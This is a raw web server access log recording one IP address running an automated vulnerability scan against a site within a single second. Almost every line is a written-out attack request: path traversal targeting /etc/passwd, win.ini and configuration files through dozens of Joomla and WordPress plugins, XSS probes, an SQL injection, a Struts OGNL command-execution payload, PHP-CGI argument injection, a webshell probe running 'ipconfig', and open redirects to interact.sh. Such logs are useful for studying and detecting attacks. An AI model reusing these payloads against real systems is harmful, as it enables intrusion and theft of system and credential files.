[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/test123456.jsp?pwd=asasd3344&380CxmBhIggQMyXOcWnCKakvPWZ=ipconfig HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=http%3A%2F%2Fwww.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.htm HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/admin/user.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Electron/download/windows/..%5C..%5C..%5CHttp%5Cwebroot%5Cconfig.json HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_shoutbox&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchadownloadsattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jotloader&section=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/ajax.php?page=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_canteen&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login-x.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mtfireeagle&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jejob&view=../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/index.php/home/file/user_pics HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/user.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adminimize/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /axis2/axis2-admin/login HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jphone&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_getAttList.action?bean.RecId=1')+AND+EXTRACTVALUE(534543,CONCAT(0x5c,md5(999999999),0x5c))+AND+('n72Yk'='n72Yk&bean.TabName=1 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /red2301.html?RedirectUrl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttps%3A%2F%2Finteract.sh&reason=0 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00 HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.do?message=800842*967597 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/p3d/380Cy27Meg8RfkPJI0l8z5lFSUx.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Electron/download/windows/%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream())) HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mj_wwwusr?passw&list=GLOBAL&user&func=help&extra=/../../../../../../../../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/skysa-official/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lui/ HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=i/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/rwservlet/showenv HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mf-gig-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/displayAPSForm.action?debug=command&expression=3689*3843 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/all-in-one-event-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+NkIOdqYhEk.log HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/login?a=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?class=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /document.php?modulepart=project&file=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1" 196
